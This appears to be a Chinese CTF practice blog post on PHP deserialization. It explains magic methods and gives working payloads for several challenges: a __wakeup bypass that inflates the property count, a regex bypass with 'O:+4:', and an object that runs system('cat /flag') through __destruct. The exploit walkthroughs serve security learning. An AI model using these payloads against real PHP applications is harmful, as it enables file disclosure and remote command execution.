当前位置: 首页 > news >正文

每日进步一点点(网安)

今日练习题目是PHP反序列化,也学习一下说明是序列化和反序列化

1.PHP序列化

序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式,以便在不同系统和应用程序之间进行传输或存储

在PHP中,可以使用serialize()函数将对象序列化为字符串,然后进行存储或者传输

2.PHP反序列化

反序列化就是将序列化后的数据转换为原来的对象,数据结构,变量的过程

在PHP中,可以使用unserialize()函数将序列化后的字符串转化为原来的对象或数据

3.魔法函数

在PHP中,魔法函数是指的是特定的函数,名称以两个下划线开始命名的

下面是一些常见的魔法函数

__construct :类的构造函数,在对象被创建时自动调用
__destruct :类的析构函数,在对象被销毁时自动调用
__get :当调用一个不存在的属性时自动调用
__set :当给一个不存在的属性赋值时自动调用
__call : 当调用一个不存在的方法时调用
__toString : 当对象被转换为字符串时自动调用
__sleep : 当对象被序列化时自动调用
__wakeup : 当对象被反序列化时自动调用

4.例题

4.1[攻防世界——unserialize3]

看这串代码,显示出来不是一个完整的PHP代码(括号没有完全闭合)

开始分析:

__wakeup()函数,看到这个函数,就会想到反序列化,对于上述代码中的xctf类中,有一个flag变量和__wakeup函数方法,当一个xtcf对象被序列化为字符串后,再次反序列化该字符串(wakeup方法的调用),就会重建该对象(xctf)

题目没有给出序列化,则需要我们自己生成出,然后给code传参

<?php
class xctf{public $flag = '111';public function __wakeup(){       exit('bad requests');            }
}
$a= new xctf();   
echo(serialize($a));   
?>
//上述代码就可以生成xctf的序列化字符串

序列化输出结果为:O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

分析可知,当把序列化结果传参时,执行到wakeup方法就会成功反序列化,则打印“bad request” ,无法得到flag

所以就得绕过这个反序列化的操作,就是不能正确的将字符串反序列化

接下来就分析一下序列化结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:表示被序列化的是一个对象

4:表示对象名 xctf 有4个字符

"xctf":表示对象的名称为 xctf

1:表示该对象只有一个属性

{}:表示该对象的属性列表为空

s:表示属性类型为字符串

4:表示属性名 flag 有4个字符

"flag":表示属性名为 flag

s:表示属性类型为字符串

3:表示属性值 111 有3个字符

"111":表示属性值为 111 

 这里的漏洞就是修改对象属性的个数,因为当序列化中的属性个数比实际代码中的属性个数大时,就不会执行wakeup方法,从而就可以使其报错,出flag!

改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

get传参:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

 这道题顺利解出!

4.2[攻防世界——Web_php_unserialize]

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 

上述代码,使用了php反序列化,可以通过$var来控制unserialize()的变量,所以漏洞在反序列化这里

分析源码,可以看出,需要绕过__wakeup()方法和正则匹配,才可以高亮显示出fl4g.php文件

第一部:绕过__wakeup()方法

和上一题一样,先生成出序列化字符串,然后改变里面的属性个数,进行绕过

第二步:绕过正则匹配

就是绕过preg_match('/[oc]:\d+:/i')对照上面的序列化字符串

分析:

[oc]:表示出现字符O或者C

\d+:表示匹配一个或者多个数字(d代表数字)

/i:表示不区分大小写

绕过原理: 

1.原正则表达式期望匹配的是 o 或 c 后跟一个冒号,然后是一个或多个数字,再跟一个冒号。
2.在 O:+4: 中,虽然 + 不是一个数字,但 PHP 在处理反序列化时,对于对象长度的解析会将 + 当作数字处理。因为在序列化字符串中,对象的表示形式通常是 O:对象名称长度:对象名称。当使用 + 时,PHP 会将其解释为一个较大的正数。
同时,由于原正则表达式没有考虑 + 符号,所以 O:+4: 不会被 /[oc]:\d+:/i 匹配,从而绕过了该正则表达式的检查。

//后面的执行代码
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//绕过反序列化
$a=str_replace('O:4','O:+4',$a);//绕过正则
var_dump($a);//替换后的结果
var_dump(base64_encode($a));//输出base64编码结果

注意:这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

然后get传参得到flag

4.3[NSSCTF——[SWPUCTF 2022 新生赛]1z_unserialize]

可以看出这是一道序列化题目,利用__destruct()方法在销毁对象时自动调用来执行预定义函数,实现命令注入

分析代码,$a=$this->lt;$a($this->lly);这个意思就是$this->lt赋值给a,$this->lly作为参数传递给代表a的函数,就可以合并为lt(lly)

所以我们就可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将执行的代码传递给$lly,当对象序列化后再被反序列化,就是对象被销毁的时候,自动调用__destruct()函数,从而执行绕过操作

只需要把a变成system(),把lly变成flag或者cat即可

system(cat/flag);

进行构造代码

<?php
class lyh{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}$demo = new lyh();
echo serialize($demo);
?>

//运行结果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

然后进行post传参,得到flag

 4.4[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]

分析代码, 有__wakeup()方法,绕过该魔术方法即可

代码中告诉我们,flag在f111111ag.php中,所以创建对象时,把flag文件作为参数传进去

构造

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>

生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参得到flag

 

 4.5[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize] 

打开题目发现没有东西,然后就下意识查看源码

发现有disallow,就会想到Robots协议,就可以看看robots.txt 

robots.txt 文件是一个纯文本文件,用于告诉搜索引擎爬虫哪些 URL 可以访问,哪些不能访问。它主要用于管理爬虫流量,防止服务器被过多的请求压垮

看到有/cl45s.php直接打开,显示php代码

分析代码,可以看到,对象销毁时调用__destrcut()方法,而flag就在这个方法中,只需要满足方法中的if语句 ,就可以得到flag,但是这里面如何改admin和passwd变量的值呢?就需要构造一下,将”admin“赋值给admin,”ctf“赋值给passwd即可,然后进行创建对象,再打印序列化后的字符串

<?php
class wllm{public $admin="admin";public $passwd="ctf";}
$demo=new wllm();
echo(serialize($demo));
?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

然后get传参,得到flag

 

相关文章:

每日进步一点点(网安)

今日练习题目是PHP反序列化&#xff0c;也学习一下说明是序列化和反序列化 1.PHP序列化 序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式&#xff0c;以便在不同系统和应用程序之间进行传输或存储 在PHP中&…...

宝塔php7.4安装报错,无法安装,php8以上可以安装,以下的不行,gd库什么的都正常

宝塔的依赖问题导致的问题&#xff0c;最后手动挂载后才解决。。。废了三天三夜终于搞好了。。。。无语&#xff5e; 建议&#xff1a;不要一直升级宝塔版本&#xff0c;升级前备份或者开服务商的实例镜像&#xff0c;方便恢复&#xff0c;不然&#xff0c;可就GG了&#xff5…...

SDL2:PC端编译使用

SDL2&#xff1a;PC端编译使用 1. SDL2&#xff1a;PC端编译使用1.1 安装必要的依赖1.2 下载编译SDL21.3 SDL2使用示例&#xff1a;Audio1.4 运行示例程序 1. SDL2&#xff1a;PC端编译使用 1.1 安装必要的依赖 首先&#xff0c;确保安装了编译SDL2所需的依赖库&#xff1a; …...

Windows 蓝牙驱动开发-蓝牙设备栈

蓝牙设备栈 蓝牙驱动程序堆栈包含 Microsoft 为蓝牙协议提供支持的核心部分。 有了这个堆栈&#xff0c;已启用蓝牙的设备可以彼此定位并建立连接。 在此类连接中&#xff0c;设备可以通过各种应用程序交换数据并彼此交互。 下图显示了蓝牙驱动程序堆栈中的模块&#xff0c;以…...

docker一张图理解

1、push 将本地的镜像上传到镜像仓库,要先登陆到镜像仓库。参数说明&#xff1a; –disable-content-trust : 忽略镜像的校验,默认开启 # 上传本地镜像myapache:v1到镜像仓库中。 docker push myapache:v1 1.2、search 从Docker Hub查找镜像。参数说明&#xff1a; –…...

RocketMQ、Kafka、RabbitMQ,如何选型?

如何根据应用场景选择合适的消息中间件? 分布式、微服务、高并发架构中&#xff0c;消息队列&#xff08;Message Queue&#xff0c;简称MQ&#xff09;扮演着至关重要的角色。 消息队列用于实现系统间的异步通信、解耦、削峰填谷等功能。 目前常见的MQ实现包括RabbitMQ、Rock…...

RabbitMQ故障全解析:消费、消息及日常报错处理与集群修复

文章目录 前言&#xff1a;1 消费慢2 消息丢失3 消息重复消费4 日常报错及解决4.1 报错“error in config file “/etc/rabbitmq/rabbitmq.config” (none): no ending found”4.2 生产者发送消息报错4.3 浏览器打开IP地址&#xff0c;无法访问 RabbitMQ&#xff08;白屏没有结…...

无公网IP 实现外网访问本地 Docker 部署 Navidrome

Navidrome 是一款可以在 macOS、Linux、Windows以及 Docker 等平台上运行的跨平台开源音乐服务器应用&#xff0c;它支持传输常见的 MP3、FLAC、WAV等音频格式。允许用户通过 Web 界面或 API 进行音乐库的管理和访问。本文就介绍如何快速在 Linux 系统使用 Docker 进行本地部署…...

pnpm add 和 pnpm install 的区别?

文章目录 1. pnpm add2. pnpm install3. 总结应用场景示例 在使用 pnpm 管理项目依赖时&#xff0c; pnpm add 和 pnpm install 是两个常用的命令&#xff0c;但它们的功能和使用场景有所不同。以下是详细的解释&#xff1a; 1. pnpm add 功能&#xff1a;用于向项目的 pack…...

Linux:文件描述符fd、系统调用open

目录 一、文件基础认识 二、C语言操作文件的接口 1.> 和 >> 2.理解“当前路径” 三、相关系统调用 1.open 2.文件描述符 3.一切皆文件 4.再次理解重定向 一、文件基础认识 文件 内容 属性。换句话说&#xff0c;如果在电脑上新建了一个空白文档&#xff0…...

CPU负载与CPU使用率之区别

在日常的性能测试与系统监控中&#xff0c;CPU负载和CPU使用率是两个常见的指标&#xff0c;它们经常被提及&#xff0c;但也经常被混淆。本文将为你深入解析两者的区别&#xff0c;以及它们各自的意义和应用场景&#xff0c;让你更清楚地掌握这些关键性能指标。 存储、内存和 …...

C++实现设计模式---外观模式 (Facade)

外观模式 (Facade) 外观模式 是一种结构型设计模式&#xff0c;为子系统中的一组接口提供一个一致的界面。外观模式定义了一个更高层次的接口&#xff0c;使得子系统更容易使用。 意图 简化复杂子系统的接口。为客户端提供一个统一的入口&#xff0c;屏蔽子系统的内部细节。 …...

仿射密码实验——Python实现(完整解析版)

文章目录 前言实验内容实验操作步骤1.编写主程序2.编写加密模块3.编写解密模块4.编写文件加解密模块 实验结果实验心得实验源码scirpt.pyusefile.py 前言 实验目的 1&#xff09;初步了解古典密码 2&#xff09;掌握仿射密码的实现 实验方法 根据下图仿射密码&#xff08;变换…...

【Qt 常用控件】按钮类(QPushButton、QRadioButton、QCheckBox)

按钮控件继承自抽象类QAbstractButton。 抽象类不允许实例化对象&#xff0c;内部定义纯虚函数。只能通过子类继承&#xff0c;重写纯虚函数的方式使用。 1. QPushButton 1.1 QAbstractButton中和QPushButton相关的属性 text按钮显示文本icon按钮图标iconSize按钮图标尺寸s…...

Amazon Relational Database Service (RDS)

Amazon Relational Database Service (RDS) 是 AWS 提供的一项完全托管的关系数据库服务&#xff0c;旨在简化部署、管理和扩展关系型数据库应用程序。通过 RDS&#xff0c;用户可以使用多种流行的关系数据库引擎&#xff0c;如 MySQL、PostgreSQL、MariaDB、Oracle 和 Microso…...

linux分配磁盘空间命令

使用命令lsblk查询linux磁盘空间时&#xff0c;发现空间并没有被分配完 如图&#xff0c;600G&#xff0c;但实际分配了一共199G&#xff0c;剩余500G&#xff0c;我们需要通过命令进行剩余存储的分配。 思路&#xff1a;创建新的分区->更新内核分区表->初始化新分区作…...

21_Spring Boot缓存注解介绍

前面我们通过使用@EnableCaching、@Cacheable注解实现了Spring Boot默认的基于注解的缓存管理,除此之外,还有更多的缓存注解以及注解属性可以配置优化缓存管理。下面我们针对Spring Boot中的缓存注解及相关属性进行详细讲解。 1.@EnableCaching注解 @EnableCaching是由Spri…...

【linux】grep、awk、sed实战练习(1)-template

一、grep常见用法 1.1.从文件中查找关键字符串 # 比如&#xff1a;查找/etc/nginx/nginx.conf文件包含"listen"的行 [rootecs_server test]# grep "listen" -n /etc/nginx/nginx.conf 52: listen 8088; 87: listen 8096; # 比如&#xff1a;查…...

UDP报文格式

UDP是传输层的一个重要协议&#xff0c;他的特性有面向数据报、无连接、不可靠传输、全双工。 下面是UDP报文格式&#xff1a; 1&#xff0c;报头 UDP的报头长度位8个字节&#xff0c;包含源端口、目的端口、长度和校验和&#xff0c;其中每个属性均为两个字节。报头格式为二…...

联想Android面试题及参考答案

请介绍一下 Android 的架构,并谈谈对 Linux 的了解。 Android 架构主要分为四层,从下往上依次是 Linux 内核层、系统运行库层、应用框架层和应用层。 Linux 内核层是 Android 系统的基础。它提供了底层的硬件驱动程序,包括显示驱动、摄像头驱动、音频驱动等多种硬件设备的驱…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

shell脚本--常见案例

1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件&#xff1a; 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

基于ASP.NET+ SQL Server实现(Web)医院信息管理系统

医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上&#xff0c;开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识&#xff0c;在 vs 2017 平台上&#xff0c;进行 ASP.NET 应用程序和简易网站的开发&#xff1b;初步熟悉开发一…...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂&#xff08;如抗体、抑制肽&#xff09;在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上&#xff0c;高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术&#xff0c;但这类方法普遍面临资源消耗巨大、研发周期冗长…...

Leetcode 3577. Count the Number of Computer Unlocking Permutations

Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接&#xff1a;3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯&#xff0c;要想要能够将所有的电脑解锁&#x…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...

Mobile ALOHA全身模仿学习

一、题目 Mobile ALOHA&#xff1a;通过低成本全身远程操作学习双手移动操作 传统模仿学习&#xff08;Imitation Learning&#xff09;缺点&#xff1a;聚焦与桌面操作&#xff0c;缺乏通用任务所需的移动性和灵活性 本论文优点&#xff1a;&#xff08;1&#xff09;在ALOHA…...

基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用&#xff0c;结合SQLite数据库实现联系人管理功能&#xff0c;并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能&#xff0c;同时可以最小化到系统…...